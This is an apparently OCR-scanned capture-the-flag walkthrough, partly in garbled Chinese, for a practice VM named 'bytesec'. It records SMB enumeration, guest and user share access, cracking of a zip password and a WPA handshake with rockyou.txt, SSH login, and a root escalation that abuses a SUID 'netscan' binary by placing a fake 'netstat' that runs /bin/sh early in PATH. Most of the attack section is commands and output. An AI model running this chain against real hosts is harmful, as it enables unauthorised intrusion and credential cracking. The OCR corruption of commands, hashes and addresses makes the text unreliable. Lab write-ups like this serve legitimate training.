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2.1 nmap 5 OHRE

nmap -sV -sC 192.168.0.159 -0A os-bytesec-allport

Host is up (0.014s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
_http-server-header: Apache/2.4.18 (Ubuntu)
_http-title: Hacker_lJames
139/tcp open netbios-ssn Samba smbd 3.X - &4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2525/tcp open ssh OpenSSH 7.2p2 Ubuntu &4ubuntu2.7 (Ubuntu Linux; protocol 2.8)
ssh-hostkey:
2048 12:55:4f:1e:e9:7e:ea:87:69:90:1c:1f:b0:63:3F:f3 (RSA)
256 ab:70:f1l:0e:df:4 3:7d:71:42:d6:44:F1:2 d2 (ECDSA)
_ 256 fB:f8:fd:24:65:087:34:c2:dé:9a:1f:cP:bB:2e:dB:3a (ED25519)
MAC Address: 40:A5:EF:46:69:0A (Shenzhen Four Seas Global Link Network Technology)
Service Info: Host: NITIN; O0S5: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
_clock-skew: mean: -1h49m59s, deviation: 3h1@m38s, median: @s
_nbstat: NetBIOS name: NITIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb-os-discovery:
05: Windows 6.1 (Samba 4.3.11-Ubuntu)
Computer name: nitin
NetBIOS computer name: NITIN\x@0
Domain name: 168.1.7
FQDN: nitin.168.1.7
_ System time: 2019-12-20T13:05:24+05:30
smb-security-mode:
account_used: guest
authentication_level: user
challenge_response: supported
_ message_signing: disabled (dangerous, but default)
smb2-security-mode:
2.02:
Message signing enabled but not required
smb2-time:
date: 2019-12-20T07:35:24
start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.69 seconds

R E R ) RSS2

139 445 75 smb Iz %% netBions name NITIN
smbba4.3.11 Ubuntu

80 ¥iij I 4y web AR5

2525 i1 ssh AR%%

2.2 Mok B F33H

gobuster dir -u http://192.168.0.159 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/news (Status: 301)
/img (Status: 301)



/html (Status: 301)
/gallery (Status: 301)

/css (Status: 301)

/js (Status: 301)
/server-status (Status: 403)

2.3 Vi 1E] 80 ¥m

Kali Training Kali Tools Jocs Kali Forums NetHunter @ Offe

Home Callery

2.1 ¥ smb AR5 4

2.1.1 fFF nmap &0 smb RS

nmap -v -p139,445 --script=smb-vuln-*.nse --script-args=unsafe=1 192.168.0.159



PORT STATE SERVICE

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 40:A5:EF:46:69:0A (Shenzhen Four Seas Global Link Network Technology)

Host script results:
_smb-vuln-ms1@-854: ERROR: Script execution failed (use -d to debug)
_smb-vuln-ms10-061: false
smb-vuln-regsvc-dos:
VULNERABLE:
Service regsvc in Microsoft Windows systems vulnerable to denial of service
State: VULNERABLE
The service regsvc in Microsoft Windows 2800 systems is vulnerable to denial of service caused by a null deference
pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
while working on smb-enum-sessions.

NSE: Script Post-scanning.

Initiating NSE at 23:04

Completed NSE at 23:04, ©.00s elapsed

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 5.99 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

HBLBAT AT LR

2.1.2 smbmap F|HILE

smbmap -H 192.168.0.159

:~# smbmap -H 192.168.8.159
[+] Finding open SMB ports....
[+] Guest SMB session established on 192.168.0.159 ...
[+] IP: 192.168.8.159:445 Name: 192.168.8.159

Disk

print$ NO ACCESS Printer Drivers
Ipct NO ACCESS IPC Service (nitin server (Samba, Ubuntu))

KRBT LA 44 U5 [ {EL R A B AR AT LR

2.1.3 enumdlinux MK smb %4

enum4linux -U 192.168.0.159



i~# enum4linux -U 192.168.0.159
Starting enumélinux v@.8.9 ( http://labs.portcullis.co.uk/application/enumélinux/ ) on Thu Dec 19 23:08:27 2019

192.168.0.159
RID Range ... .. 500-550,1000-1050
Username .. el
Password Gl
. administrator, guest, krbtgt, domain admins, root, bin, none

y password '’

Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] can't determine if host is part of domain or part of a workgroup

Name: Desc:

user:[smb] rid:[@x3e8]
enumélinux complete on Thu Dec 19 23:08:28 2019

] PLEE 4 8 5% RN R BIAFAE smb F P

enum4linux 192.168.0.159

FWX&ATS AU AR smb k%5224 MR P SRS

[+] Enumerating users using SID 5-1-22-1 and logon username '', password '’
5-1-22-1-1000 Unix User\sagar (Local User)

5-1-22-1-1001 Unix User\blackjax (Local User)

S$-1-22-1-1882 Unix User\smb (Local User)

Mo printers returned.

KILAH P sagar blackjax smb
B fURAE smb AP B

2.1.4 F smbmap F|HAFFHEEF

smbmap -H 192.168.0.159 -u smb



# smbmap -H 192,168.0.159 -u smb
[+] Flndmg open SMB ports.

[+] User SMB session estahllshed on 192.168.0.159 ...
[+] IP: 192.168.0.159:445 Name: 192.168.0.159
Disk Permissions Comment

dr—r—r—
dr—r—r—
HECEE
dr—r—r—
dr—r—r—

W32ALPHA

W32X86

W32MIPS

W32PPC

x64

WINLO

IABL

COLOR

READ ONLY Printer Drivers

NO ACCESS IPC Service (nitin server (Samba, Ubuntu))

RN NN

A S R AN TR

2.1.5 smbclient 58 B 3%

smbclient 1Jj 7] smb Bk H 5%
smbclient //192.168.0.159/smb -U smb

# smbclient //192.168.8.159/smb
Enter WORKGROUP\Smb s password:
ry "help" to get a list of possible commands.

D @ Mon Nov 02:50:37
D @ Mon Nov 02:37:28
N 18 Mon Nov 02:45:38
N 3424987 Mon Nov 02:50:37

main.txt
safe.zip

9204224 blocks of size 1024, 6792288 blocks available

F N Hddn 4 1s 210 41 scft.
get main.txt safe.zip

BT get fr 4 FEOX A LA

3 ferackzip AR AR Zip s

ferackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip

# fcrackzip -D -p fusr/share/wordlists/rockyou.txt -u safe.zip

pw = hackerl
A |

3.1.1 #f# user.cap XXHF

fiftJ% unzip safe.zip 732



main.txt os-bytesec-allport.nmap os-bytesec-ports.gnmap os-bytesec-ports.xml
os-bytesec-allport.gnmap os-bytesec-allport.xml os-bytesec-ports.nmap user.cap
: #

user.cap [ & —LA[FE

aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap

: # aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap
Opening user.cap please wait ...
Read 49683 packets.
# BSSID ESSID Encryption
1 56:DC:1D:19:52:BC blackjax WPA (1 handshake)

Choosing first network as target.

Opening user.cap please wait ...
Read 49683 packets.

1 potential targets

Aircrack-ng 1.5.2
[e0:00:04] 11248/7120712 keys tested (2618.58 k/s)
Time left: 45 minutes, 15 seconds
KEY FOUND! [ snowflake
Master Key : 86 15 12 BE 84 AB 2B DE @F
1E 51 7A FA 3B EB 16 71 DE
Transient Key : @B C6 85 2E 14 33 3F E2 2B
40 68 1A B8 7D A4 98 &7 27

6B B2 @9 C3 1A 5E 24 92 B8
58 @D D9 C7 83 @7 8A BO 84

EAPOL HMAC : EA 5@ 53 E3 @A 49 BA AF 34

# 1

732 ESSID [14 % blackjax KEY snowflake

3.2 &3 ssh

ssh -p 2525 blackjax@192.168.0.159



2 # ss p blackjaxa
blackjax@192.168.0.159's password:

Permission denied, please try again.

blackjax@192.168.0.159's password:

Welcome to Ubuntu 16.04.6 LTS (GNU/Linux &.&4.@0-142-generic 1686)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

176 packages can be updated.
121 updates are security updates.

New release '18.84.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Fri Dec 2@ 11:36:85 2019 from 192.168.0.160
$ 1

3.3 3REX user.txt

Go To Root.

MD5-HASH : f5B89ab6959f3e@4037eb2bleb@ff726ac
blackjaxanitin:~$ JJ




3.4 FFEURTT

3.4.1 REF suid XHF

BHARA H 3T FrA A suid J@ Y #SCH
find / -type f -perm -u=s 2>/dev/null

MD5-HASH : f589a6959f3e04037eb2b3eb0ff726ac
blackjaxanitin:~$ find / -type f -perm -u=s 2>/dev/null
/usr/1lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
fusr/lib/policykit-1/polkit-agent-helper-1
J/usr/1lib/snapd/snap-confine
fusr/1ib/1386-1inux-gnu/1xc/1xc-user-nic
Jusr/lib/eject/dmcrypt-get-device
fusr/bin/newgidmap

/usr/bin/gpasswd

/usr/bin/newuidmap

J/usr/bin/chfn

fusr/bin/passwd

fusr/bin/chsh

/usr/bin/at

Jusr/bin/pkexec

Jusr/bin/newgrp

/usr/bin/netscan

Jusr/bin/sudo

/bin/pingé

/bin/fusermount

/bin/mount

/bin/su

/bin/ping

/bin/umount

/bin/ntfs-3g

blackjaxanitin:~$ i

IZ47 netscan

)
blackjaxanitin:~$ /usr/bin/netscan

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address
9.0.8.09:2525
0.0.0.0:445
127.0.0.1:3306
0.0. 139

192 0.159:445

188 192. .0.159:2525

sSssessscsooaeS

0
0
0
0
8
0
0
0
0
|

blackjaxanitin:~$

KI5 netstat -tinp FHL

Address

.0.106:3186
.0.160:38294

State
LISTEN
LISTEN
LISTEN
LISTEN
ESTABLISHED
ESTABLISHED
LISTEN
LISTEN
LISTEN
LISTEN

PID/Program name
1022/sshd
872/smbd
1016/mysqgld
872/smbd
2011/smbd
3053/sshd: blackjax
1022 /sshd
872/smbd
872/smbd
1145/apache2




dLK JdXg b 1 4] o
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
.0.08:2525 .0.0.0:% LISTEN 1822/sshd
L@1445 .0.0.0: LISTEN 872/smbd
.0.1:3306 .0.0.0: LISTEN 1016/mysqld
.0:139 .0.0.0: LISTEN 872/smbd
.0.159:445 : .0.106:3186 ESTABLISHED 2811/smbd
.0.159:2525 . .0.160:38294 ESTABLISHED 3853/sshd: blackjax
LISTEN 1022/sshd
LISTEN 872/smbd
17 4 LISTEN 872/smbd
12 80 s LISTEN 1145/apache2
blackjax@nitin:~$ netstat -antp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
8 .0.0.8:2525 .0.0.0:% LISTEN
.0. 1445 ¥ : LISTEN

(-~ -~ -~ -~ -~ -~ -~ -~ -~ -~
28]
0
o909
EEETEET

¥ *
.B.1:3306 .0.0.0:% LISTEN
.8:139 .0.0.0:% LISTEN
.0.159:445 ¥ .0.106:3186 ESTABLISHED
.0.159:2525 . .0.160:38294 ESTABLISHED

L4 LISTEN

LISTEN

LISTEN

LISTEN

r o

(-~ -~ -~ -~ -~ -~ -~ -~ -

3.5 43} netscan X4

xxd /usr/bin/netscan | less

00000L90:
00000L4an:
000004ba:
Q0DDBLCE:
poo0RLAde:
g00004ed:
fo0RBLTa:
geeens500:
feeens510:

2o0008528:
g0eees530: netstat -antp...

2000B540:
20000550
20000560
eeeens7a:
BOD0B5E0:
eoBRB590:
go00B5a0: oo
eooeasbhe: F 1085

s 5 (

KA netstat iy 4



3.5.1 #M root

3.5.2  GUE A netstat

cd /tmp
echo "/bin/sh" >netstat
chmod 775 netstat

blackjax@nitin:/tmp$ cd /tmp
blackjaxanitin:/tmp$ echo "/bin/sh" >netstat
blackjaxanitin:/tmp$ [J

353 REFETE PATH

EHE AT AT & echo $PATH

blackjaxanitin:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
blackjaxanitin:/tmp$ i

WE AL &

export PATH=/tmp:$PATH
bckjnin:/t$ e:;(ﬁort PATH=/tmp: $PATH
blackjax@nitin:/tmp$ echo $

/tmp:/usr/local/sbin: /usr/local/bin: /usr/sbin:/usr/bin:/sbin:/bin: /usr/games: /usr/local/games:/snap/bin
blackjaxanitin:/tmp$ |l

netscan

blackjax@nitin:/tmp$
# id
uid=0(root) gid=@(root) groups=8(root),1001(blackjax)

# 1




3.54 ZEF| root.txt

V) cipridicoms
ffff"'ff'fff L I TR
L A 8 B Yol ifodidel f 853
I\ f:"fﬂ"' LeCodnfnd IfE ce o

Conguratulation ..
MD5-HASH : baellce4f67af91fa58576cldaZaadab

Author : Rahul Gehlaut

Contact : https://ww.linkedin.com/in/rahulgehlaut/

WebSite : jameshacker.me

rootanitin:/tmp# ]

4 2R W

B X E smb AN
B netscan Y i s @M
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